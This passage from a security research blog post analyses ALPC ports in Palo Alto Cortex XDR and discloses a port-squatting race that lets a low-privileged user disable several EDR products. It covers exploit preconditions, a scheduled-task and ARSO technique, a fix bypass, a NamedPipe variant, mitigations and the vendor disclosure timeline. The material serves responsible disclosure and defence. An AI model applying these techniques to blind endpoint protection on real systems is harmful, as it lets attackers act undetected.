&lt;li&gt;&lt;a href=&quot;https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html&quot;&gt;Calling Local Windows RPC Servers from .NET - Project Zero&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://clearbluejar.github.io/posts/from-ntobjectmanager-to-petitpotam/&quot;&gt;From NtObjectManager to PetitPotam - clearbluejar&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For more details on ALPC security and reverse engineering, see the blog posts by 0xcsandker:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html&quot;&gt;Offensive Windows IPC Internals 3: ALPC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://csandker.io/2022/05/29/Debugging-And-Reversing-ALPC.html&quot;&gt;Debugging and Reversing ALPC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;3. ALPC Research Results&lt;/h1&gt;
&lt;p&gt;We began looking into ALPC after encountering it while investigating password handling in the Cortex driver cyvrmtng.sys (see &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The first step is to enumerate the ALPC ports and check the Security Descriptors.&lt;/p&gt;
&lt;h2&gt;3.1 Enumerate ALPC-ports&lt;/h2&gt;
&lt;h3&gt;First Method: WinDBG&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; !process 0 0 cyserver.exe
PROCESS ffff970f8e6df080
    SessionId: 0  Cid: 24f8    Peb: dd298fc000  ParentCid: 02f4
    DirBase: 239c24000  ObjectTable: ffffaa08f1ffb400  HandleCount: 846.
    Image: cyserver.exe

0: kd&amp;gt; !alpc /lpp ffff970f8e6df080

Ports created by the process ffff970f8e6df080:

  ffff970f8e76ad30(&apos;OLEC4EA145C32D5AB917AD12FA45688&apos;) 0, 1 connections
    ffff970f85fe1a80 0 -&amp;gt;ffff970f87165a80 0 ffff970f87ca5080(&apos;svchost.exe&apos;)

  ffff970f8ab938f0(&apos;Palo-Alto-Networks-Traps-ESM-Rpc&apos;) 0, 1 connections
    ffff970f870ac0b0 0 -&amp;gt;ffff970f9209f070 0 ffff970f8e6df080(&apos;cyserver.exe&apos;)

  ffff970f8c4d6aa0(&apos;Palo-Alto-Networks-Traps-Report-Rpc&apos;) 0, 0 connections

  ffff970f8b2e9760(&apos;TasWorkerServer_811AC91A&apos;) 4, 4 connections
    ffff970f871242c0 0 -&amp;gt;ffff970f8d0e2510 0
ffff970f8eeb1080(&apos;tlaworker.exe&apos;)
    ffff970f871682c0 0 -&amp;gt;ffff970f8d0cd7a0 0
ffff970f8eeaf080(&apos;tlaworker.exe&apos;)
    ffff970f87035910 0 -&amp;gt;ffff970f85f35910 0
ffff970f8eeb0080(&apos;tlaworker.exe&apos;)
    ffff970f87046910 0 -&amp;gt;ffff970f87068910 0
ffff970f8efe2080(&apos;tlaworker.exe&apos;)

  ffff970f91dc4d30(&apos;Palo-Alto-Networks-Traps-DB-Rpc&apos;) 0, 0 connections

  ffff970f927f2d30(&apos;Palo-Alto-Networks-Traps-Scan-Rpc&apos;) 0, 0 connections

  ffff970f8eeafda0(&apos;CyveraPort&apos;) 0, 1 connections
    ffff970f8bb93d10 0 -&amp;gt;ffff970f8e54ec70 0 ffff970f84c7e040(&apos;System&apos;)

Ports the process ffff970f8e6df080 is connected to:
[...]


0: kd&amp;gt; !object ffff970f8ab938f0
Object: ffff970f8ab938f0  Type: (ffff970f84cf7900) ALPC Port
    ObjectHeader: ffff970f8ab938c0 (new version)
    HandleCount: 1  PointerCount: 32757
    Directory Object: ffffaa08e5dfe480  Name: Palo-Alto-Networks-Traps-ESM-Rpc

0: kd&amp;gt; dx (((nt!_OBJECT_HEADER*)0xffff970f8ab938c0)-&amp;gt;SecurityDescriptor)
(((nt!_OBJECT_HEADER*)0xffff970f8ab938c0)-&amp;gt;SecurityDescriptor) :
0xffffaa08ea537d6d [Type: void *]

0: kd&amp;gt; !sd 0xffffaa08ea537d60 1
-&amp;gt;Revision: 0x1
-&amp;gt;Sbz1    : 0x0
-&amp;gt;Control : 0x8804
            SE_DACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
-&amp;gt;Owner   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
-&amp;gt;Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
-&amp;gt;Dacl    :
-&amp;gt;Dacl    : -&amp;gt;AclRevision: 0x2
-&amp;gt;Dacl    : -&amp;gt;Sbz1       : 0x0
-&amp;gt;Dacl    : -&amp;gt;AclSize    : 0x5c
-&amp;gt;Dacl    : -&amp;gt;AceCount   : 0x4
-&amp;gt;Dacl    : -&amp;gt;Sbz2       : 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceSize: 0x14
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;Mask : 0x00030001
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;SID: S-1-1-0 (Well Known Group: localhost\Everyone)

-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;AceSize: 0x14
-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;Mask : 0x00030001
-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;SID: S-1-5-12 (Well Known Group: NT AUTHORITY\RESTRICTED)

-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;AceSize: 0x18
-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;Mask : 0x001f0001
-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)

-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;AceSize: 0x14
-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;Mask : 0x001f0001
-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

-&amp;gt;Sacl    :  is NULL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To sum it up, the following ALPC-ports exist&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo-Alto-Networks-Traps-DB-Rpc
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: cyapi.dll&lt;/li&gt;
&lt;li&gt;Server: cysvc.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Palo-Alto-Networks-Traps-ESM-Rpc
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: cysvc.dll&lt;/li&gt;
&lt;li&gt;Server: cyverau.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Palo-Alto-Networks-Traps-Report-Rpc
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: ?&lt;/li&gt;
&lt;li&gt;Server: cysvc.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Palo-Alto-Networks-Traps-Scan-Rpc
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: cyapi.dll&lt;/li&gt;
&lt;li&gt;Server: cysvc.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;TasWorkerServer_***
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: tlaworker.exe&lt;/li&gt;
&lt;li&gt;Server: cysvc.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CyveraPort
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-5-18 (NT AUTHORITY\SYSTEM)&lt;/li&gt;
&lt;li&gt;Client: kernel-driver&lt;/li&gt;
&lt;li&gt;Server: cyserver.exe&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Second Method using ProcessHacker:&lt;/h3&gt;
&lt;p&gt;This method is easier and faster for getting an overview but provides fewer details:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;processhacker_alpc.PNG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Tools such as RPCView and many others don&apos;t display these ports because they are not registered in the RPC Endpoint Mapper and they are created by a ProtectedProcess Anti-Malware process. ProcessHacker/SystemInformer ships a driver which allows to access these processes.
:::&lt;/p&gt;
&lt;h2&gt;3.2 Connecting to ALPC Port&lt;/h2&gt;
&lt;p&gt;The password we traced is transmitted via &lt;em&gt;Palo-Alto-Networks-Traps-ESM-Rpc.&lt;/em&gt; Initially, we attempted to connect using the ALPC examples from 0xcsandker, released toghether with &lt;a href=&quot;https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html&quot;&gt;this blog post&lt;/a&gt;. Connecting to the port was successful but sending messages did not seem to work as breakpoints in the receiver were not triggered. However, we shortly noticed, that this approach does not make a lot of sense as ALPC is not used directly but as a RPC-method from rpcrt4.dll with an IDL (Interface definition language).&lt;/p&gt;
&lt;p&gt;We used the &lt;a href=&quot;https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html&quot;&gt;NtObjectManager tooling from James Forshaw&lt;/a&gt; to establish a connection to the port:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;ntobjectmanager_alpc.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Connecting to an ALPC port from Cortex&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The reason for the &quot;Access is denied&quot; is the Interface Callback of the ALPC registration:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cyerau_alpc1.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Registration of the ALPC port&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cyerau_alpc2.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; The &lt;code&gt;IfCallback&lt;/code&gt; function of the ALPC port&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The function &lt;code&gt;CyOpenServerProcess&lt;/code&gt; retrieves the process from cyserver.exe via the dirver. Afterwards it gets the process ID from the ALPC client via &lt;code&gt;I_RpcBindingInqLocalClientPID&lt;/code&gt; and then it compares the PIDs. If they do not match a connection is rejected.&lt;/p&gt;
&lt;h2&gt;3.3 Impersonating ALPC Server&lt;/h2&gt;
&lt;p&gt;As it was not successful to use a client to obtain sensitive data, we attempted to impersonate the server by opening the ALPC before Cortex starts. We used a slightly modified version of the &lt;a href=&quot;https://github.com/csandker/InterProcessCommunication-Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-ALPC-Basic-Server/CPP-ALPC-Basic-Server.cpp&quot;&gt;CPP-ALPC-Basic-Server.cpp&lt;/a&gt; example to start a ALPC server at &lt;code&gt;\RPC Control\Palo-Alto-Networks-Traps-ESM-Rpc&lt;/code&gt;. We stopped cyserver with cytool and then started the fake server. Afterwards we started cyserver again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;alpc_ESM_serverimpersonation_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; ALPC Server &quot;Impersonation&quot;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The screenshot shows that cyserver.exe connected to the port and sent messages. Because Cyserver.exe itself did not open this, some functionality must be broken. To test this we set up an ALPC server for all the ALPC ports used by Cyserver.exe (except \Cyveraport which requires administrative privileges). After starting this, Cyserver crashed during the initialization.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cortex_crash_1.PNG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This was promising, as Cortex neither prevented nor alerted anything without the user-mode component Cyserver. For example, Mimikatz could be launched and executed without modification.&lt;/p&gt;
&lt;p&gt;The only remaining step was to achieve the same effect during startup without requiring administrative privileges. A scheduled task in combination with Windows ARSO (see this &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/winlogon-automatic-restart-sign-on--arso-&quot;&gt;documentation&lt;/a&gt;) successfully disabled Cortex.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cortex_disabled.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The next section details how to exploit this vulnerability.&lt;/p&gt;
&lt;p&gt;We tested as many EDRs as possible for the same vulnerability and found, surprisingly, that most were vulnerable. The concept for exploiting this vulnerability is quite simple, so we expected some EDRs to have addressed it. The following list of EDRs are vulnerable:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo Alto Cortex XDR&lt;/li&gt;
&lt;li&gt;Microsoft Defender (for Endpoint)&lt;/li&gt;
&lt;li&gt;Check Point Harmony&lt;/li&gt;
&lt;li&gt;Kaspersky Endpoint Security for Business&lt;/li&gt;
&lt;li&gt;Trend Micro Vision One XDR&lt;/li&gt;
&lt;li&gt;Malwarebytes for Teams (only one module is disabled)&lt;/li&gt;
&lt;li&gt;SentinelOne (only one executable is blocked with unknown consequences)&lt;/li&gt;
&lt;li&gt;Crowdstrike XDR (only certain features are disabled)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3.4 Exploit Conditions&lt;/h2&gt;
&lt;p&gt;Successful exploitation of the ALPC-block DoS vulnerability requires the following preconditions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The host reboots (either manually with shutdown privileges or by waiting)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The target ALPC port is registered in a namespace where a low-privileged user has write permissions. The default name space is &quot;\RPC Control&quot; where every user can create objects.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions to create a scheduled task (allowed by default)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Alternatively create or modify a service (only for local admins by default) or other methods for early startup (e.g. DLL Hijacking)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exploit registers ALPC ports &lt;strong&gt;before&lt;/strong&gt; the EDR during the Windows startup&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The likelyhood of winning this race varies between EDRs but for most it is 100% reliable in our tests:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For example Cortex (cyserver.exe) takes a long time to initialize itself and also has startup-dependencies to other components. Consequently, it is quite easy to be faster.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If this is exploited by a low-privileged user, it is important to choose a method which starts during the startup of Windows and not after an interactive logon.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A default user does not have the permission to create a scheduled task with the trigger &quot;at startup&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are two options we used to exploit this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&quot;At log on&quot; Trigger in combination with Automatic Restart Sign-On (ARSO) (as per this &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/winlogon-automatic-restart-sign-on--arso-&quot;&gt;reference&lt;/a&gt;). ARSO was built to improve the update process and temporarly stores the user credentials to do an auto-login of the current user. However, it can also be used without updating the OS. The following screenshot from the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/winlogon-automatic-restart-sign-on--arso-&quot;&gt;Microsoft ASRO documentation&lt;/a&gt; provides an overview of when ARSO is applied&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img src=&quot;ARSO_overview.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;The ARSO configuration can also be set via group policy or in the Sign-in options&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;ARSO_signin-options.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;scheduled_task_1_1.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;scheduled_task_1_2.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;Scheduled task with an event-trigger (on any Event ID happening early during the Windows startup). The password of the user needs to be stored in the scheduled task in this case which requires the right &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/log-on-as-a-batch-job&quot;&gt;&quot;SeBatchLogonRight&quot;&lt;/a&gt;. On unmanaged Windows hosts this permission is not given by default. However, on several AD-joined clients, this was enabled in different companies.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;One of the first events that can be used is Event ID &quot;6&quot; from FilterManager which is created if a filter driver is loaded&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;scheduled_task_2_1.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Generally, the process priority of the scheduled task should be set as high as possible. The default priority of a scheduled task is 7 (BELOW\_NORMAL). The priority cannot be adjusted in the GUI. The scheduled task can be exported to an XML where the priority can be adjusted. Afterwards it can be imported again. This could also be done programmatically.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Priority 0 (REALTIME) and 1 (HIGH) can only be used by local administrators.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Priority 2 (ABOVE\_NORMAL) can be set by all accounts&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3.5 Mitigation&lt;/h2&gt;
&lt;p&gt;This vulnerability cannot be easily fixed because it is an architectural flaw rather than a coding error. The following suggestions primarily mitigate the effects but do not address the root cause:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use a randomly generated port name (e.g. UUID)&lt;/li&gt;
&lt;li&gt;Generate an alert of an EDR is not active but the host itself is online&lt;/li&gt;
&lt;li&gt;If a required port is in use, kill the corresponding application via the driver and flag it as malware&lt;/li&gt;
&lt;li&gt;Limit the attack surface to administrative users: Use Port names in the root directory (e.g. \TestPort) which are only accessible to administrative users.&lt;/li&gt;
&lt;li&gt;General recommendation: Ensure the kernel-components can send an alert if a user-mode component is not active.&lt;/li&gt;
&lt;li&gt;Monitor processes via the driver before the user-mode process is started and cache results to sent them later&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some fixes of vendors where analyzed with the following results:&lt;/p&gt;
&lt;h3&gt;Vendor Fixes&lt;/h3&gt;
&lt;p&gt;We examined the fixes from Cortex XDR for &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2023-3280&quot;&gt;CVE-2023-3280&lt;/a&gt; and &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2024-5909&quot;&gt;CVE-2024-5909&lt;/a&gt; in more detail.&lt;/p&gt;
&lt;p&gt;CVE-2023-3280 was &quot;fixed&quot; by blocking the registering of ports used by Cortex (e.g. &lt;em&gt;Palo-Alto-Networks-Traps-DB-Rpc&lt;/em&gt;) by the driver. As soon as the user-mode component was ready to register the port, an IOCTL was send to the driver to release the ports. However, all processes are now allowed to register the port and it opens up a short timeframe to win the race.&lt;/p&gt;
&lt;p&gt;Only one additional line in the exploit code was required to bypass the &quot;fix&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;register_port();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while(not_successful){
  register_port();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After reporting it to PaloAlto another fix was published in 2024 (CVE-2024-5909). The port names are now UUIDs set or retreived via IOCTls.&lt;/p&gt;
&lt;p&gt;We did not examine the fixed versions of other vendors.&lt;/p&gt;
&lt;h2&gt;3.6 Blocking EDRs with NamedPipes&lt;/h2&gt;
&lt;p&gt;SentinelOne Singularity XDR can be blocked by registering NamedPipes instead of ALPC ports. This demonstrates that other resources can be exploited by the same type of vulnerability. The exploitation is tricky as the NamedPipe is not a static string:
&lt;code&gt;\Device\NamedPipe\DFIScanner.Inline.3360.3720Pipe&lt;/code&gt;
The first number is a PID and the second number is a TID.
During the first start of the EDR during the Windows startup, the values are usually in the range of 2500-4000. The exploit did first register the most likely ports and afterwards other ranges from 0-12000. This technique could be successfully exploited with a low privileged user similiar to the other ALPC based vulnerabilities.&lt;/p&gt;
&lt;h2&gt;3.7 Further Research&lt;/h2&gt;
&lt;p&gt;This research project only scratched the surface of the existing attack surface of EDRs (or XDRs). Further blog posts on this topic are likely. If you have read this entire post, you will have noticed several areas that warrant further investigation.&lt;/p&gt;
&lt;p&gt;The following topics related to the research described in this post should be addressed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Testing the same ALPC DoS vulnerability for further vendors&lt;/li&gt;
&lt;li&gt;Testing other IPC-methods (e.g. NamedPipes) or completely other resources to block EDRs&lt;/li&gt;
&lt;li&gt;Testing accessible ALPC functions for logic bugs or memory corruptions&lt;/li&gt;
&lt;li&gt;Spoofing an IPC-server or IPC-client to modify the behavior or to extract sensitive data&lt;/li&gt;
&lt;li&gt;Analysing the driver interfaces of further EDR products&lt;/li&gt;
&lt;li&gt;Analyzing fixes and searching for potential bypasses such as the one discussed in &lt;a href=&quot;#vendor-fixes&quot;&gt;this section&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;4 Disclosure Process&lt;/h1&gt;
&lt;p&gt;Well… one would think that this would be a rather positive experience compared to other vendors because they make security products themselves. This was not the case for the majority of vendors. First of all, most vendors required more than 90 days to release a fix or did not fix it at all. Most disclosure reports have been sent between April 2023 and September 2023. Some reports have been sent later, as access to some products was not given in 2023. No vendors did provide information on how they fixed it after (e.g. &quot;that is considered proprietary Cortex XDR agent information&quot;) although some requested a retest.&lt;/p&gt;
&lt;p&gt;Second, two vendors responded with unbelievably incompetent questions and comments. One example, after we sent the requested (PoC) code, was the following:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The cpp program needs to be converted to exe? If no then, what&apos;s the command that you are running?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;An Overview of the disclosure process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PaloAlto Cortex XDR
&lt;ul&gt;
&lt;li&gt;05.04.2023: Reported ALPC-block vulnerability to PaloAlto&lt;/li&gt;
&lt;li&gt;13.09.2023: Released Advisory &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2023-3280&quot;&gt;CVE-2023-3280&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;25.09.2023: Reported a bypass for their &quot;fix&quot; to PaloAlto&lt;/li&gt;
&lt;li&gt;13.10.2023: PaloAlto reponded that that it will take time to address the issue&lt;/li&gt;
&lt;li&gt;12.06.2024: Released Advisory &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2024-5905&quot;&gt;CVE-2024-5905&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Microsoft Defender (for Endpoint)
&lt;ul&gt;
&lt;li&gt;31.05.2023: Reported ALPC-block vulnerability to Microsoft&lt;/li&gt;
&lt;li&gt;19.09.2023: Fix is in testing process (&quot;we plan to release it as part of the October Patch Tuesday&quot;)&lt;/li&gt;
&lt;li&gt;13.11.2023: &quot;During the staggered deployment for the fix to the issue you reported, the team noticed that the fix was causing some crashes on systems with the update installed. ... this will not be completed until December at the earliest.&quot;&lt;/li&gt;
&lt;li&gt;12.03.2024: Released Advisory &lt;a href=&quot;https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-20671&quot;&gt;CVE-2024-20671&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CheckPoint Harmony
&lt;ul&gt;
&lt;li&gt;07.07.2023: Reported ALPC-block vulnerability to CheckPoint&lt;/li&gt;
&lt;li&gt;17.08.2023: After several clarification mails, they still cannot reproduce it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kaspersky Endpoint Security for Business:
&lt;ul&gt;
&lt;li&gt;07.07.2023: Reported ALPC-block vulnerability to Kaspersky&lt;/li&gt;
&lt;li&gt;12.07.2023: Kaspersky reproduced vulnerability&lt;/li&gt;
&lt;li&gt;13.09.2023: Kaspersky fixed the issue&lt;/li&gt;
&lt;li&gt;21.11:2023: After asking for a CVE, they responded that they will not publish a CVE&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;TrendMicro Vision One XDR
&lt;ul&gt;
&lt;li&gt;10.07.2023: Reported ALPC-block vulnerability to TrendMicro&lt;/li&gt;
&lt;li&gt;02.08.2023: After some clarification mails, no further information was provided by TrendMicro&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Malwarebytes for Teams
&lt;ul&gt;
&lt;li&gt;13.07.2023: Reported ALPC-block vulnerability to Malwarebytes that one module can be disabled but not the whole product. Asked them to provide a test license for their Business EDR product which I did not receive.
&lt;ul&gt;
&lt;li&gt;The employee assigned to this case did not have the knowledge to understand and reproduce the case.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;02.10.2023: The case was closed without releasing a fix or providing access to the EDR product with more features.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SentinelOne Singularity XDR
&lt;ul&gt;
&lt;li&gt;We did not have a fully working environment to test this product.&lt;/li&gt;
&lt;li&gt;ALPC block
&lt;ul&gt;
&lt;li&gt;25.07.2023: Reported that a certain process can be crashed by blocking an ALPC port. However, we could not reproduce it reliably in the limited test environment. We asked for a test license to do a further analysis.&lt;/li&gt;
&lt;li&gt;03.10.2023: After asking for an update on the status, the assigned employee at HackerOne did not know anything.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;NamedPipe block
&lt;ul&gt;
&lt;li&gt;29.09.2023: Reported that the whole product can be blocked by registering NamedPipes instead of ALPC ports.&lt;/li&gt;
&lt;li&gt;02.11.2023: SentinelOne reproduced it. A timeline for a fix is not known.&lt;/li&gt;
&lt;li&gt;22.06.2024: SentinelOne asked for a retest of their fix. However, this was not possible because SentinelOne did not want to provide a test license.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Crowdstrike XDR
&lt;ul&gt;
&lt;li&gt;Initially, no access to a Crowdstrike environment was available. Therefore, it was reported later.&lt;/li&gt;
&lt;li&gt;26.06.2024: Reported that the a certain process can be crashed by blocking an ALPC port. However, some functionality was still available.&lt;/li&gt;
&lt;li&gt;26.06.2024: Crowdstrike reproduced it on the same day.&lt;/li&gt;
&lt;li&gt;05.08.2024: &quot;After careful evaluation, we have determined that the security finding is considered low impact and does not meet the criteria for a CVE&quot; because the kernel-mode driver remains fully operational.&lt;/li&gt;
&lt;li&gt;It is unknown when a fix was published.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;5 Conclusion&lt;/h1&gt;
&lt;p&gt;This research project demonstrated that EDRs can contain relatively simple vulnerabilities. A &quot;novel&quot; type of vulnerability was identified that allows disabling or bypassing several widely used EDRs. Exploitation is relatively easy, requiring only the setup of a scheduled task that registers a specific ALPC port. To our knowledge, similar vulnerabilities have not been previously published for EDR or antivirus software.
However, we could not identify straightforward vulnerabilities such as insecure driver interfaces accessible to low-privileged users. Nevertheless, several EDRs have a direct kernel attack surface accessible to low-privileged users. Fully understanding the true attack surface and authorization model of these drivers requires extensive reverse engineering, which could not be fully completed due to time constraints.
In our opinion, the field of security research on EDR attack surfaces has not been explored in sufficient detail.&lt;/p&gt;
